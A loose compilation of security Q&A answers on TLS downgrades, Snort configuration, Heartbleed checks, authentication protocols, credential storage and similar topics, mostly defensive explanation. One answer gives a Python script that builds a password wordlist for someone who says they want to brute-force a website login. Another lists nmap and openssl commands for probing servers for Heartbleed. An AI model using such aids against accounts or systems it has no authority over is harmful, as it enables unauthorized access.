Unless the app you are using asks for Data Protection, they are only as secure as your device is.  Most data is stored relatively in the clear and could be pulled off the device easily with physical access to a functional device.  Even with Data Protection, it is only as secure as your pin or password.  According to this article, most apps don't use Data Protection yet.

This also doesn't take in to consideration any possible issues that could arise from either intentional or unintentional leaking of data off the device by the apps that you are using (such as cloud backups and the like.)


Learning to script tools in Python and general Pen Testing

These books can be a good starting point:

Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers

Gray Hat Python: Python Programming for Hackers and Reverse Engineers


Is TLS_FALLBACK_SCSV useless if only TLS (1.0, 1.1, 1.2) is supported?

The whole grading mechanism is more propaganda and public relations than actual security. If you want good security, then you must mind the details and understand how things work internally. If you want a good grade then you should do whatever it takes to have a good grade. An "A+" from SSL Labs is a very nifty thing to add at the end of a report, but it does not really equate with having rock solid security. Having an "A+" equates with being able to say "I have an A+".

The principle of the SSL/TLS handshake is that client and server advertise their maximum supported versions, so that the version which is selected is indeed the most recent that both client and server support. This property holds as long as active attackers cannot break immediately (in real-time) the handshake of any version that both client and server support. E.g. client and server can support all versions from SSL 3.0 to TLS 1.2 (TLS 1.2 is, internally, "SSL 3.3"), and attackers cannot force a downgrade because even the SSL 3.0 handshake is robust enough not to be immediately broken by active attackers -- and that handshake includes the advertised maximum version.

... Unless the client is doing something dumb, which is reconnecting and advertising lower versions than what they actually support. Existing clients do that because some must talk to servers that do something even dumber, which is crashing/disconnecting whenever the client advertises a version which is greater than the highest version that the server ever heard of. Normally, when the client says "SSL 3.42" and the server knows only up to "SSL 3.17", the server should answer "we'll use SSL 3.17". The standards and documentation on SSL 3.0 and later versions have always been very clear on that subject. But developers still got it wrong; some servers, when they receive "SSL 3.42", simply shrivel up and die on the spot.

Thus, in order to cope with possibly incompetent servers, clients have taken the habit to auto-dumb themselves in case of connection error. This is where TLS_FALLBACK_SCSV comes into play: it is an extra mechanism, smuggled in the handshake under the guise of a cipher suite, so that a client may tell to the server "btw I am not dumb, I am just sending a dumbed-down ClientHello in case you, as a server, would be one of these buggy server that blow up at incongruous times".

If a client applies the auto-dumbing and does not support TLS_FALLBACK_SCSV, then there is nothing the server can do to prevent a downgrade attack: attackers will be able to force the client to use an old protocol version by simply killing connections that attempt to advertise anything newer. However, if the client and the server support TLS_FALLBACK_SCSV, then they will detect any downgrade attempt.

This long preamble was only to get the context for answering your question. Basically, if your server does not support TLS_FALLBACK_SCSV, then active attackers will be able to force a downgrade, even if the client would have supported TLS_FALLBACK_SCSV. This is a problem in the sense that if you support TLS 1.0, TLS 1.1 and TLS 1.2, then this is for a reason: you prefer using TLS 1.2 when available, so if attackers have a way to prevent that, then this is, stricto sensu, a successful attack: attackers can force a situation that is distinct from the preferred, non-attacked one.

Now this does not mean that the consequences are serious. TLS 1.0 has a few known shortcomings, basically boiling down to two kinds of attacks:

BEAST-like attacks that use chosen-plaintext to leverage the fact that in TLS 1.0, with CBC-based cipher suites, the attacker can predict the IV for the next record;
Padding oracle attacks relying on, for instance, small timing differences in the treatment of incoming records (described as the "Lucky 13 attack").

TLS 1.1 fixes the first kind, with per-record unpredictable IV; for the second attack, TLS 1.2 offers AEAD cipher suites that do not need padding at all, thereby avoiding any padding oracle. However, both kinds of attacks can be efficiently mitigated in "pure" TLS 1.0, by using the "1/n-1 split" for CBC-based cipher suites, and with constant-time MAC computation, respectively.

Thus, if the client is sufficiently well developed to do a 1/n-1 split, and the server is sufficiently well developed to compute MAC in constant-time, then using TLS 1.0 incurs, as far as we know, no security issue that would need fixing. It may be argued that a client and a server that implement TLS_FALLBACK_SCSV are necessarily recent and "probably" up-to-date with implementation recommendation, so chances are good that they will do everything correctly and be able to run a safe TLS 1.0.

However, there is always a nagging suspicion that a server that supports TLS_FALLBACK_SCSV might support it only to get an A+ from SSL Labs, and may have not taken the effort to do constant-time MAC computations, because SSL Labs cannot readily test for constant-time computations.

To sum up: not supporting TLS_FALLBACK_SCSV is not necessarily a serious issue, depending on how well the client and server implement TLS 1.0 (by not supporting SSL 3.0 you already avoid the most glaring problems). However, good implementations cannot be guaranteed, and not supporting TLS_FALLBACK_SCSV is formally a weakness, even if it is not necessarily a vulnerability. That the weakness cannot be turned into a full exploit by attackers does not mean it does not exist.

In any case, you won't implement TLS_FALLBACK_SCSV because you want security; you will implement TLS_FALLBACK_SCSV because you want an A+. If you do not, then you will spend inordinate amounts of time explaining to many people that the "A+" grade is meaningless in that respect and that you can afford not to take it. In the long term, not howling with the wolves is too expensive.


Snort even though working properly does not report majority of rules

Ok Break your Question with its solution into parts.

PortScan

There are some configurations that you need to change to enable nmap portscan open the snort configuration file with sudo gedit /etc/snort/snort.conf.

uncomment and modify this line ( #428 usually ) :

Portscan detection.  For more information, see README.sfportscan

preprocessor sfportscan: proto  { all } memcap { 10000000 } sense_level { medium } logfile { /var/log/snort/portscan.log }

sudo service snort restart
Downloading exe file

You need to find rules or write your own rule.It mostly present in ET or Snort rules by default you need to find it and uncomment it.

You can find each type of rule for the purpose you are requiring there
    /etc/snort/rules/snort.rules (In most cases)
You need to find your own file.


AES encryption on embedded device: Can this be secure?

You don't specify a use case for this, so it's difficult to understand the limitations, and if this is "secure".

You didn't mention using an HMAC, but I'm assuming you're aware of the need for one under certain applications.

You want to use AES-256 over AES-128, but don't specify why.  AES-256 requires 14 rounds, vs only 10 for AES-128, so AES-128 is considerably faster, which may be significant in the very limited environment you're dealing with (16 bit words for instance).  AES-128 is already extremely secure, and there's little if any additional security offered by a larger keyspace, especially if you're using user typed passwords which almost never have a full 128 bits of entropy.

IV doesn't need to be unpredictable (the IV must be known to any attacker anyway).  The only important thing about an IV is that it's not re-used.  Personally I'd use a random seed that's hashed every time a new file is encrypted, and the results saved back the random hash.  The next IV will always be predictable, but given enough initial entropy will never be re-used, even globally across all devices.


Is strategic cyber-warfare feasible today?

The problem with such attacks is that neither the attacker nor the defender have any incentives to claim responsibility of the attack. As such attacks can be done with small number of people and the internet also makes it possible to conceal the source of an attack, a well resourced attacker can even make it impossible for the defender to realise that an attack happened at all. The defender on the other hand, would usually try its best to hide the fact that it's attacked, or to the fact that it had discovered the attack, so as not to alarm the attacker (to allow them to feed back false information), and to avoid embarrassment and erosion of public trust on the agency.

When a military cyber warfare department launched an attack against another nation's infrastructure, since there's no real witness and because most people are ignorant about how internet works and because attack forensic is hard even for experts, concealing such attacks is a lot easier than concealing physical wars. Even the defender might never realise that they are being sabotaged, or that they may have a really hard time proving that the sabotage was done by a nation state actor or figure out who the actors are, rather than, say, by a random Anonymous prankster. Additionally, the attackers themselves may sometimes not realise that they are acting under the direction of a nation state actor.

Infrastructures like nuclear power plant are more difficult to compromise purely by cyberwarfare. The reason being that there's a lot of physical safe guards (not computer controlled) and manual override systems. The most that an attacker can do is force nuclear plant worker to shutdown their sophisticated automatic control system and fallback to manually working the plant. The attack might reduce the efficiency of the power plant and increases the operational costs of the system, but it's unlikely that serious meltdown could occur from such attack.

Most attacks likely will be of the nature to increase costs of the victim, data espionage, and affect decision making. Increasing costs is fairly straight forward, with DDoS, sabotage, etc. Data espionage are more subtle but it's easily concealed by attacking random civilians, so that if the attack is discovered in government machines it'd hopefully be dismissed as random infection rather than a targeted attack. Affection decision making are even more subtle as it's essentially propaganda, targeted at specific decision maker or the entire populace for election.

  Is the inclusion of a cyberwarfare branch or subcommand necessary in the sense that Cyberwarfare can affect operations and strategic outcomes

I think it's safe to say that most countries already do have Cybersecurity and Cyberwarfare capabilities.

  Stock market crash

It's very difficult to say if this kind of attack are happening because stock prices are essentially decided by investors sentiments. A campaign of misinformation could potentially affect investors decision making. Spreading fake news about an upcoming political or economical instability could cause less observant investors to panic and push the market to a certain direction. This might actually trigger an actual meltdown as the initial fake wave can potentially turn into a real one.


As "Head of IT" is it reasonable not to have access to Email or backup management as could contain sensitive information

This seems borderline insane.
There's two major issues that seem to be overlooked by company directors:

Business continuity planning/disaster recovery
Role based access controls

Without somebody having admin rights to the Exchange server, how are backups even supposed to take place?  Is every user responsible for making their own email backups and keeping them safe in case they need to be restored?  For that matter, given that there's no domain network, how are workstations supposed to be centrally backed up/restored in case of failure?  Each machine becomes a single point of failure and any critical documents on them could be lost forever if something goes wrong.

Secondly, putting every workstation in a homegroup is asking for improper data access.  With each user being the sole administrator of their workstation, they essentially own whatever data resides on it.  There would be nothing stopping them from giving access to other employees, regardless if those employees are supposed to have access or not.  This could have huge legal ramifications depending on the type of business your company conducts and may be worth bringing up to the legal department.

Lastly, with each user being the master of their own workstations, keeping each network at a minimum security level will basically be impossible.  Any antivirus or data loss prevention software could simply be disabled or removed by the user, not to mention all the potentially malicious software they may end up installing on their own.  If any machine ends up compromised, it would likely be compromised with full administrator access on a network with no standardized access controls and no guaranteed backups or recovery options.  Basically, a theft/damage/ransom nightmare (or paradise, depending on perspective).


How do I make a word list for cracking password?

I already know the password format: 1 Upper Case Letters + 5 digits + bf (bf is the known letters, they must included in the password and at the end) For example: A12345bf, C12301bf, D10282bf. I want to hack a website by using Hatch. (brute force) But it’s too slow, it probably gonna take 1 million years. So I want to make my own wordlists cuz I already know the format (1 Letters+ 5 Digits + bf). But how can I create such wordlist? I tried hashcat but after reading information about it for 6 hours I still get nothing!! Is there any software I can make such wordlist? And what is Github, what to do after cloning it? Where is the software? Yes, I have 0 knowledge in these kind of things. But I really need to get back my password. Why can’t there be a software, and download it, and use it. Why use cmd and git clone?? Please help

Every software system requires some initial investment of time to get set up and figure out how things work. Try not to get frustrated--these things take time.
Unfortunately, we likely won't be able to answer all the questions you pose in your post--some are also clearly off topic for the forum (e.g., "what is github").
Also, without knowing what software systems or programming languages you are already familiar with it is difficult to give you an answer with a concrete implementation.
But, assuming you are familiar with Python3, the following script will print out all 2600000 of the passwords in the form you indicated (1 uppercase letter + 5 digits + "bf"):
for i in range(100000):
    for c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
        print("{}{:05d}bf".format(c,i))

Hope that helps.


Example of attack trees in the web application security analysis

As you are familiar with OWASP, you might have a look at the WebGoat project - "a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons".  There are other tools and resources out there, such as DETERLab for learning about common attacks.

These should provide you with plenty of examples.  The formalisms themselves are not hard to apply - I suggest using pen and paper or a whiteboard to start having a go.  In my experience the best thing about attack trees is that they make you think harder about the problem, rather than being important artefacts in and of themselves.


Potentially unsafe files on second hard drive, how to get my files back?

The problem with a Windows virus is that it is "generally toxic" for Windows, which cannot really touch it safely. So the solution is to use something else than Windows to recover your files. I suggest Linux, namely the installation CD for Ubuntu. If you boot on this CD (or USB key), you get a live Linux system with which you can access the disks and copy your text files; no need to install anything.

Practically speaking, Linux is mostly immune to Windows virus (and Windows is immune to Linux virus, too, but there are not many of those).


I just finished reading a section on idle scanning in a textbook less than an hour ago. Here's what it says:

  Newer operating systems, such as the recent Linux kernel, OpenBSD, and Windows Vista, randomize the IP ID, but older operating systems and hardware (such as printers) typically do not.

So I think if your machine is running under Vista or 7 (or even 8?), you don't need to worry much about being used as the idle host.


You can't tell from that log entry if you're vulnerable or not.  If you're not vulnerable, there may be a corresponding entry in Apache's error log with lines similar to

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'

However, the error message will only show up if your site's root webpage can be used as an attack vector.  If you're serving a static page, or a dynamic page that doesn't invoke Bash, there will be no error message.

Basically, the best evidence that you're not vulnerable is that you updated before the probe attempt took place.


The first thing to define is the context. Usually, proving knowledge of a shared password is called authentication. It really makes sense only if linked to some other data. Imagine that the two involved parties (let's call them Andrew and Betty) run the protocol over a TCP connection, or something HTTP-based, or whatever. Andrew wants to prove to Betty that he knows the password; assume that he just did; then what ? At that point, Betty is possibly convinced that Andrew has been involved. But if some data comes just after that exchange over the same connection, then Betty cannot be sure that the data is really from Andrew. An evil attacker (Carter) could hijack the connection in some way, just after the exchange: that's possible, since we assumed that the protocol was done over an unprotected TCP connection, or any similarly insecure transport medium. There are several flavours for such hijacking, e.g. Man-in-the-Middle.

So the authentication makes sense only if it can be somehow be tied to subsequently exchanged data, in a cryptographically strong way. There are two main ways to do that:

Play the authentication protocol within a strong tunnel which guarantees overall integrity, and has already authenticated Betty (i.e. Andrew is sure to be already talking to Betty). That's basically what happens with HTTPS Web sites. Andrew (the client) establishes a secure tunnel with Betty (the server), and Andrew knows that he is talking to the genuine Betty because he validated Betty's certificate. Note that in that scenario, it is not difficult to have a tunnel which also guarantees confidentiality (by encrypting exchanged data), at which point Andrew can simply send the password as-is (it is simpler, and no weaker).
Turn the authentication protocol into a key exchange protocol, in which Andrew and Betty derive from their knowledge of the shared secret P (the password) a common key K, which is then used to build a secure tunnel which guarantees data integrity (and, there again, the tunnel could also provide confidentiality).

Without such a binding between authentication and data, the authentication protocol can achieve anything worthwhile only if it is played in a context where Carter cannot alter the ongoing exchange between Andrew and Betty. We then assume that Carter can spy the messages of Andrew and Betty, and we want to prevent Carter from learning the password, because it would allow him to come back later, as a new protocol instance, under the guise of Andrew. Please note that this is a restrictive scenario, which applies to practical computer-over-network situations only insofar as attackers are lazy and do not build full-scale active attacks (i.e. the attackers are not really motivated, so whatever hides behind the password must not be something valuable like, say, your bank account).

In the passive-only attack scenario, we can say the following about your protocols:

Protocol 1 is a classic challenge-response. The general principle is sound, but there are details in the realization to be taken care of. Namely, if you just use a hash function like SHA-1, then it relies on the hash function to be indistinguishable from a random oracle, a mythical theoretical object. Unfortunately, it is known that SHA-1 is not indistinguishable from a random oracle. The right way to make a challenge-response protocol is to have Andrew compute a Message Authentication Code over the challenge, using the shared secret (password) as key. A standard MAC construction is HMAC, which is itself based upon a hash function (you can use SHA-1 if you wish), but HMAC invokes the underlying hash function twice, in a smart way, so as to avoid the shortcomings of the hash function not being a random oracle.
Protocol 2 is weak because it is susceptible to a replay attack. Carter could record a message sent by Andrew and replay it as is later on. The message is a hash of a combination of a random string chosen by Andrew and the shared secret (it could also be a MAC, as explained above -- it does not change things with regards to replay attacks). Betty accepts that message as a proof. If Carter sent the very same message again, why would Betty reject it ? To make this protocol resistant to replay attacks, Betty must remember past messages, and reject an authentication message which it already got beforehand. Since this may lead to unbounded memory requirements for Betty, you would have to include a time stamp in the random string: Betty would reject any message where the "random string" is "too old". This is tricky to do in practice: keeping two distant computers with synchronized clocks is a hard requirement. Also, one must take into account reboots (if Betty reboots, she looses her RAM contents) and multi-frontend servers (if Betty is two servers, both must share the same memory of already seen authentication messages).
When the shared secret is a password, additional problems rise. A password is the specific kind of shared secret that a human will be able to remember, and accept to type on a keyboard. As such, it cannot be too long or complex, and it is possible for Carter to setup a very long, but not intractably huge, list of potential passwords, and try them all. This is called a dictionary attack. The scariest dictionary attacks are those where Carter can "try" a password by merely computing things on his machines, without interacting any further with Andrew and/or Betty: these are offline dictionary attacks and are deadly because Carter could be a bored student who temporarily "borrows" the computing power of 1000 machines at his university. With your protocols, spying one challenge, and the hash-with-password computed over it, is enough for Carter to do an offline dictionary attack (he just tries potential passwords until he finds one which is consistent with the messages he eavesdropped). Offline dictionary attacks can be partially hindered by using salted, slow hashing like bcrypt or PBKDF2. A more thorough solution is the use of a Password-Authenticated Key Exchange protocol.

Therefore, practically, for authentication, you should either:

Use a secure tunnel (SSL) with an appropriate certificate by one party (the server, aka Betty), and have Andrew send the password within the tunnel "as is". That's how the Web works today. Code is available.
Or use a secure tunnel established over the output of a PAKE protocol: Andrew and Betty run the PAKE protocol, using their shared password, to establish a shared session key, with which the tunnel is integrity-protected and encrypted. There again, this is SSL/TLS, specifically TLS with SRP (GnuTLS is a software library which supports that).

Otherwise, if you are in one of these extremely rare situations where active attackers are not to be feared, or if your hardware is so cheap that it cannot cope with strong protocols anyway (e.g. you are designing a protocol for RFID tags), then you might get away with a challenge-response protocol like your "protocol 1", provided that you use a proper MAC (i.e. HMAC) and take care to use a strong enough password (i.e. a sequence of 12 random characters at least, and not at all a four-digit PIN).


Is a mongodb build that uses the -ssl option vulnerable to heartbleed?

The answer to this (not just MongoDB, but any program) is quite system dependent.

If you are running MongoDB with SSL enabled at compile time, and enabled at run-time, and it's using a vulnerable OpenSSL (1.0.1—1.0.1f with hearbeat not explicitly removed), then yes.

If you are only listening on localhost, or you have packet filtering/firewalling to allow only trusted clients you are less at risk, but you are still vulnerable of course.

OpenSSL provides two libraries, libssl and libcrypto, MongoDB uses both (this flaw is contained only in libssl). If OpenSSL is dynamically linked in, you should be able to just update OpenSSL and restart the affected processes. If it is statically linked in, you need to update OpenSSL, rebuild the affected software, stop all affected daemons/processes, reinstall, then restart them. Whether you upgrade to 1.0.1g, or a patched 1.0.1(≤f) with the problem feature disabled, see below for steps to confirm that you've properly updated.
Then get busy picking up the pieces if you have untrusted users/connections.

On most *nix systems you can run ldd against the binaries, this will confirm if OpenSSL (i.e. libssl.so) is dynamically linked. This only proves a binary uses OpenSSL, no dynamic dependency does not always mean it does not use OpenSSL: it may be static, loaded by a different dependent library, or even loaded on-demand (e.g. Apache httpd loading mod_ssl.so). mongod links directly against OpenSSL though..

An alternate approach to ldd which may be more reliable:

determine the process PID(s) then as root, run lsof -p PID or lsof -p PID1,PID2,... to see if it has the library open
on Linux you can instead cat /proc/PID/maps and check which libraries are mapped in

The above only work when a dynamic library (libssl.so) is used, if the static library (libssl.a) was used the code is present directly in the binaries, not loaded from an external library (which makes it harder to upgrade of course, most systems use dynamic OpenSSL libraries partly for this reason).

Some software (I wish they all did), tells you what build and run-time features/libs they use, by way of logging at startup or with verbose/debug/version/help command line options. For MongoDB use  mongodb --version for this. In 2.6, this calls the API function SSLeay_version(), so it will correctly show the run-time (not the build-time) version of OpenSSL, but it doesn't tell you if it's statically or dynamically linked. In the case of Mongodb, you know OpenSSL is enabled, and since the  mongodb excutable is directly linked against the SSL libraries, ldd will tell you if they're dynamically linked or not.

In other cases, you might be stuck with something unpretty to try and determine what library version might be statically linked: strings -a or objdump -s.

MongoDB provides an SSL/TLS TCP service when SSL is enabled, check if it's listening on anything other than localhost via netstat, or by attempting a connection (probably port 27017). The lsof output also shows listening ports, or try lsof -p $PID -a -i tcp for just TCP (note MongoDB doesn't run TLS on a distinct port).

If you have a recent(-ish) nmap you can use its mongodb-info script:

$ nmap -vvv -sV --version-all --script mongodb-info.nse -p 27017 localhost
[...]
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 2.6.0
| mongodb-info:
[...]
|     compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual -fPIC -fno-strict-\
        aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-\
        pch -pipe -O3 -Wno-unused-function -Wno-deprecated-declarations -fno-builtin-\
        memcmp
|     loaderFlags = -fPIC -pthread -Wl,-z,now -rdynamic
|     debug = false
|     version = 2.6.0
|     OpenSSLVersion = OpenSSL 1.0.1e 11 Feb 2013
[...]

You can also probe for the problematic TLS extension with OpenSSL's s_client, though take care to use a recent version which sends a TLS client hello and has the heartbeat extension enabled, an SSL2 client hello will not enable the extension, nor will a client without heartbeat support:

echo Q | openssl s_client -connect myhost:27017 -tls1 -tlsextdebug

This works regardless of the SSL connection preference you are using for MongoDB.

The server extensions will be listed within the first few lines of output, before certificate details:

CONNECTED(00000003)
TLS server extension "renegotiation info" (id=65281), len=1
0001 - <SPACES/NULS>
TLS server extension "session ticket" (id=35), len=0
TLS server extension "heartbeat" (id=15), len=1
[...]

This alone doesn't prove you are vulnerable, or that you are running OpenSSL, or even a specific OpenSSL version. If you like living dangerously, you may wish to attempt to use one of the POC scripts. (I've used ssltest.py successfully, and without crashing Apache httpd or mongod processes, YMMV.)

To check your OpenSSL version and options use openssl version -a, the presence of -DOPENSSL_NO_HEARTBEATS indicates the problematic feature has been disabled at build time. There's no guarantee that the openssl command will use the same library as anything else, to really check thoroughly you should identify all likely libraries:

find / -name "libssl.*"

The default behaviour (gcc+binutils) when searching for libraries is "first found" honoring the library directory ordering, when both dynamic and static versions of libraries found together it prefers dynamic libraries (unless -static is used, this isn't an option with MongoDB since it's implemented in C++). Even if libssl.so is present OpenSSL could still be statically linked, though for a normal build with libssl.so available, it will dynamic not be static (the MongoDB SCons build makes no special attempt to use libssl.a).


Can the primary operating system be hacked when using another one on an external drive?

My question is, is it possible to get your other operating system hacked even while Kali Linux is plugged in and the primary OS is "Sleeping"?

If you don't have full-disk encryption enabled on your computer, and you get hacked while running another OS from an external drive, then the attacker can mount the main computer's drive and compromise your main OS by modify some of its components to introduce a backdoor. However, this is not OS dependent and can happen even if your main OS is MacOS or Linux. The solution is what multithr3at3d says, either enable full disk encryption so the attacker cannot modify the OS as they like (note however that they may be able to corrupt it), or else run Kali in a virtual machine, which will completely isolate Kali from the host.


Security issues on allowing Special characters in input field

There's no such thing as special characters.

It all depends on the context that input is used within your application. Protecting against SQLi and XSS is great, however if the input is then to be used in an operating system shell call it does you no good.

Always encode or sanitize when the data is used - leave this as late as possible. For example when outputting to HTML, HTML encode at this point.

So without knowing all the output points or sinks in your application, it is impossible to say if you are missing something. If all you are doing is inserting data into a database, and outputting it to HTML (not JSON, JavaScript, CSS, etc) then if you do the correct parameterisation and HTML output encoding in the right places you are good as far as XSS and SQLi vulnerabilities go. Doing anything else with the data would require properly encoding, sanitizing or using the correct API depending on the format.


How can I create a secure random key for AES?

/dev/urandom in unix based systems and CryptGenRandom on Windows. Most programming languages should provide APIs to generate random bytes such as os.urandom in Python.


Am I vulnerable while leaving a putty client connected to my Amazon Web Server?

Vulnerabilities exist because of session based attacks and the client being open. If you or the client gets compromised, so is your EC2 instance.

As for keeping the script up, bringing it back, stopping it, and restarting it(often called process management) there are some things you'll probably want to look into:

Process Managers
Like PM2 or Supervisor can keep your process running in the background and allow you a way to easily kill the script on your next session(usually with a stop command)
Startup and init.d/Bash scripts
While it takes more preparation, you could actually just have the script start at startup, pull in the latest version, and then just shutdown on timed intervals to re-pull and repopulate, or when the computer is told to turn off using the run time levels and triggers in the startup system your EC2 instance uses

Both of these routes would probably be the best way to go as they both offer startup, revival(meaning you can save money by stopping the instance when you're done), and script flow control.

Screen is an option, but it's completely manual. Wouldn't it be nice to take some initial time and make it automated? Most of us think so and one of the biggest gains is not needing two open connections. One connection is all you need. Sign in and start. Sign in and stop. Simple enough.

Things you should avoid at all costs:

Backrounding a script
requires more involved methods to kill or control the script
Leaving a session open
sessions can be hijacked


What are the implications of NSA surveillance on the average internet user?

Foreword: This problem isn't necessarily about governments. At the most general level, it's about online services giving their data about you (willingly or accidentally) to any third party. For the purposes of readability, I'll use the term "government" here, but understand that it could instead be replaced with any institution that a service provider has a compelling reason to cooperate with (or any institution the service could become totally compromised by -- the implications are reasonably similar). The advice below is generalizable to any case in which you want to use an external service while maintaining confidentiality against anyone who may have access to that service's data.

Now, to address the question itself:

  ...what steps can ordinary individuals take to safeguard themselves against the collection, and exposure, of such sensitive personal information?

If you don't want the government of any nation to have access to your data, don't put it on a data-storage service that might possibly collude with a government agency of that nation.

For our model, let's assume that some government has access to your data stored on particular major services at rest (as well as their server logs, possibly). If you're dealing with a service that does storage (Google Drive, email) then SSL will do absolutely nothing to help you: maybe a surveillance effort against you cannot see what you're storing as you're sending it over the wire, but they can see what you've stored once you've stored it.

Presumably, such a government could have access to the same data about you that Google or Microsoft or Apple has. Therefore, the problem of keeping information secret from surveillance reduces to the problem of keeping it secret from the service provider itself (i.e., Google, MS, Apple, etc.). Practically, I might offer the specific tips to reduce your risk of data exposure:

If there's some persistent information (i.e., a document) you don't want some government to see, don't let your service provider see it either. That means either use a service you absolutely trust (i.e., an installation of FengOffice or EtherPad that's running off your SheevaPlug at home (provided you trust the physical security of your home, of course)) or use encryption at rest -- i.e., encrypt your documents with a strong cipher before you send them to Google Drive (I might personally recommend AES, but see the discussion below in the comments).

In fact, this second strategy is exactly how "host-proof" Web applications work (also called "zero-knowledge" applications, but unrelated to the concept of zero-knowledge proofs). The server holds only encrypted data, and the client does encryption and decryption to read and write to the server.

For personal information that you don't need persistent access to, like your search history, you can probably prevent that information from being linked back to you personally by confusing the point of origin for each search using a VPN or onion routing like Tor.

I'm reminded of this xkcd:

:

Once a service has your data, it's impossible to control what that service does with it (or how well that service defends it). If you want control of your data, don't give it away. If you want to keep a secret, don't tell it to anyone. So long as the possibility of surveillance collusion or data compromise against a service is non-trivially high, do not expect your externally-stored data to be private from inspection by any government, even if you had expected that data to be generally private.

A separate question is whether there will be any significant actual impact to the average internet user from such information-gathering programs. It's impossible to say, at least in part because it's impossible to transparently audit the behavior of people involved in a secret information-collection program. In fact, there could be impact from such a program that would be impossible for the general public to recognize as impact from such a program.

In the case of NSA in particular, NSA is chartered to deal with foreign surveillance, so U.S. citizens are not generally targets for analysis, unless perhaps they happen to have a foreign national nearby in their social graph. The NSA publicly makes an effort not to collect information about U.S. citizens (though the degree to which this is followed in practice is impossible to verify, as discussed above).


Authorization Code: Is there a specific format it has to follow?

As the authorization server you issue the code, and as the authorization server you receive the code and exchange it for the requested token. The caller treats it as an opaque value. They receive it from the authorization server, and then forward it to the authorization server to get the token they asked for.
As such, the format is up to you. Generally folks often use a random key that refers to something in a database, kinda sorta similar to a session key. Others encrypt a blob containing the token itself.
The only real requirements are that it isn't guessable, doesn't leak the token, and can't be replayed.


Is there a way to check lists of cracked passwords without revealing my password?

We need to know more about the reason for your question.

If you're a sysadmin or an auditor, and you want to use leaked lists and and dictionaries to check the strength of people's passwords prior to acceptance, that is a sound idea. Projects like zxcvbn that provide a password blacklist, plus a length requirement, provide at least a cursory assurance of strength.

But if, as it sounds, you are asking this question in order to verify the strength of your own personal password, then you should reconsider. If you're generating the password in a sound way, then you should already know how hard it is to crack.

If you select a strong password (say, 15 random characters or more) or a strong passphrase (5 or more random words from a sufficiently long dictionary of 10K or more), then the strength of that password relies solely on the pure math of how many combinations are possible, and you know that the likelihood of it appearing in any list is very, very low.

But if your password is 'JellyfishVacation2014", or a keyboard pattern, or your childhood address backwards, or any of the hundreds of different psychologies of non-random human password selection ... then even if your specific password doesn't appear in a giant dictionary, it is still weak enough to fall to offline bruteforce and hybrid password-guessing attacks. The password crackers know all of these human selection processes. When hundreds of millions of accounts are leaked yearly, the likelihood that your "favorite" password method is unique is very low.

In other words, Kerkhoffs' Principle applies to password selection methodology. If you might be reluctant to share exactly how you generated your password, then you should switch to a different method.


How to get an exhaustive list of ciphers for TLS 1.0, TLS 1.1 and TLS 1.2

The list of cipher suites for SSL/TLS is, by definition, open-ended, so you can never be sure that you got "all of them", especially since there are ranges of values "for private usage".

However, there is a registry for standard cipher suites, maintained by the IANA, there. It references all cipher suites which are defined in one RFC or another.


Using a WLAN router to create an access point

Possibly.  The local network admin can simply just walk around with a laptop and Wifi Packet sniffer like Kismet or NetStumbler and can pretty easily see any traffic is being generated within range.  Not broadcasting your SSID won't protect you.  Even if the traffic is encrypted, the MAC addresses aren't.  MAC addresses are easily correlated to a manufacturer, like say Sony.

If you then record the MAC address, and look for it on the local LAN, you could then trace it down to an individual port, and an individual person.  Even if you hide the MAC addresses behind a router, if your traffic goes across the wired LAN it'd still be possible to do traffic analysis, and correlate WiFi Traffic with traffic that then appears on the local LAN.

The short answer is, WiFi Traffic isn't a secret, and you can't easily hide it from anyone in range to pick it up.


Best practices for storing credentials used by code

1) You are 100% correct, Why? If machine gets compromised the attacker will be still able to retrieve the decryption key as it's necessary to be symmetric encryption to decrypt by app and the key file has to have same read permissions as the app so the app can read it.

I mean app still needs to have hardcoded secret decrypt key directory in it so attacker just looks for it :D , even if app is an binary executable
attacker can easily dump strings of file directories and files from it.

I know because I did it from an Go language program that I needed to debug and I didn't have source code (one of clients app hosted on server) :)

Buffer overflow and so on attacks will function if hole is present as
app ether ways stores data in memory to reuse for example for database auth.

2) The best solution is to have a central vault where each app requests its secrets and leases them. One solution of this kind is https://www.vaultproject.io/ and more details on it https://www.vaultproject.io/docs/internals/architecture.html

Best general practice is to minimise access and control rights of each role for each app resource.
Example:
If an app just uses one database don't give that user rights to view other
or to execute DML on others, remove drop table rights if the app doesn't do migrations, and so on.

If you don't use vault if script is executed by example root user don't store secrets with ownership of less privileged users. Let the owner be the same user, use read, write, execute permissions only what you really need.

Use TLS when you can for your resources as one tcp dump leaks data if attacker manages to get the auth phase however you store the secret data.


Why did browser authors not make 127.0.0.1/localhost-hosted webpages skip the referrer?

Don't blame the browser authors, as they just follow the HTTP protocol. The specification of the Referer header in RFC 7231, 5.5.2 does acknowledge the privacy concerns, but it only forbids sending the URL of a secure HTTPS page over unsecured HTTP channel:

  The Referer field has the potential to reveal information about the
  request context or browsing history of the user, which is a privacy
  concern if the referring resource's identifier reveals personal
  information (such as an account name) or a resource that is supposed
  to be confidential (such as behind a firewall or internal to a secured
  service). Most general-purpose user agents do not send the Referer
  header field when the referring resource is a local "file" or "data"
  URI. A user agent MUST NOT send a Referer header field in an unsecured
  HTTP request if the referring page was received with a secure
  protocol. See Section 9.4 for additional security considerations.

You should not put sensitive data on the URL due to information exposure through query strings in url. The Referer header is not the only way to leak this information:

  Referer Header
  Web Logs
  Shared Systems
  Browser History
  Browser Cache
  Shoulder Surfing


Can the U2F standard be used by servers to impose a specific category of hardware?

U2F in and of itself does not provide a protocol for client-server communication. It provides a set of requirements that need to be met in order for the scheme to be considered authenticated. These requirements define a set of messages, but don't define how they get passed from the client to the server and back. As such, the answer to whether you can build a client for any generic server is: no, because there simply isn't a generic protocol. That said, you can certainly build a generic service that can process the messages sent, but you would need to define the mechanism by which the messages are sent.

Given the first answer, the second answer is necessarily no as well. This doesn't mean that you can't strap U2F on top IMAP and have it has an extension, but that naturally means it requires custom code on both sides.


How to ensure two messages are from the same party

Simplest mechanism I can think of:

Client picks a large random value as an ID.
Encrypts the data, containing the ID, with the two separate public keys.
Sends each message to the two different channels.
Server verifies that both IDs are equal and that both signatures are OK.

